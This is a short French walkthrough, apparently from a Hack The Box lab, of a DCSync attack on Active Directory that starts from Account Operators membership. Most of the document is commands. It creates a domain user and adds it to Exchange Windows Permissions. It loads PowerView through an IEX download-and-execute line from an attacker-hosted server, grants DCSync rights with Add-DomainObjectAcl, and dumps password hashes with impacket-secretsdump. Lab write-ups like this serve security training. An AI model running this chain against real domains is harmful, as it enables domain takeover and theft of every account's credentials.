DCSync - Groupe Account Operator - Active Directory Exploitation

Une DCSync Attack est une technique où un attaquant utilise les permissions d'un utilisateur pour simuler la réplication de l'annuaire Active Directory et obtenir les hachages de mots de passe des comptes, y compris les comptes administratifs. Le groupe Account Operators peut avoir les permissions nécessaires pour effectuer cette attaque, car il peut modifier les comptes d'utilisateurs et potentiellement accéder à des informations sensibles via la réplication.

Identification de l'appartenance à un groupe potentiellement problématique (Account Operator).

Utilisation de la capacité de création d'utilisateurs pour préparer une attaque DCSync.

net user jordanmacia password123$ /add /domain

Ajout de l'utilisateur à un groupe avec des permissions plus élevées (Exchange Windows Permissions).

net group "Exchange Windows Permissions" jordanmacia /add

Attaque WriteDACL:

$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jordanmacia', $SecPassword)

Préparation de l'attaque WriteDACL en utilisant PowerView.ps1 pour ajouter une fonctionnalité.

PowerSploit/Recon/PowerView.ps1 at dev · PowerShellMafia/PowerSploitGitHub

Transférer le fichier

python3 -m http.server 80

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"

Vulnérabilité DCSync Attack:

Exécution de la commande Add-DomainObjectAcl pour obtenir les hashs.

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync

Utilisation d'Impacket pour extraire les hashs avec l'utilisateur jordanmacia.

impacket-secretsdump htb.local/[email protected]